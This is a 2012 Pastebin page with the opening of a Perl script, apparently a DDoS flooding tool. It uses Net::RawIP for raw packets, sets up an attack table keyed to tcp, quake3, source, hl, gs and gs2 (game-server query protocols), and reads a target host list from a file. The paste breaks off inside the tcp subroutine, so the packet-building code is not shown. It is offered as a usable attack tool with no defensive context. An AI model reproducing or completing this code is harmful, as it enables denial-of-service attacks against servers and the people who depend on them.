Don't like ads? PRO users don't see any ads ;-)
Public Pastes
Guest

Untitled

By: a guest on Jul 1st, 2012  |  syntax: Perl  |  size: 0.69 KB  |  hits: 21  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/perl -w
  2.  
  3. use Benchmark;
  4. use Net::RawIP;
  5. use Time::HiRes qw ( usleep );
  6.  
  7. my $rand = int( rand 0x400 );
  8. my $frag = 0;
  9. my $doff = 0x05;
  10. my $ttl  = 0xFF;
  11. my $tos  = 0x08;
  12. my $pid;
  13. my $tx;
  14. my @list;
  15. my @running;
  16. my @pids;
  17.  
  18. my %attack =
  19.   ( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );
  20.  
  21. if ( @ARGV < 7 || @ARGV > 7 ) {
  22.     &usage();
  23.     exit;
  24. }
  25.  
  26. $tx = $ARGV[3];
  27. my $t0 = new Benchmark;
  28.  
  29. print "\n*** Now Reading Hosts Into Array\n\n";
  30.  
  31. open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
  32. chomp( @list = <ELITE> );
  33. close(ELITE);
  34.  
  35. sub tcp {
  36.     my ( $ip, $port ) = @_;
  37.     my $a = new Net::RawIP(
create a new version of this paste RAW Paste Data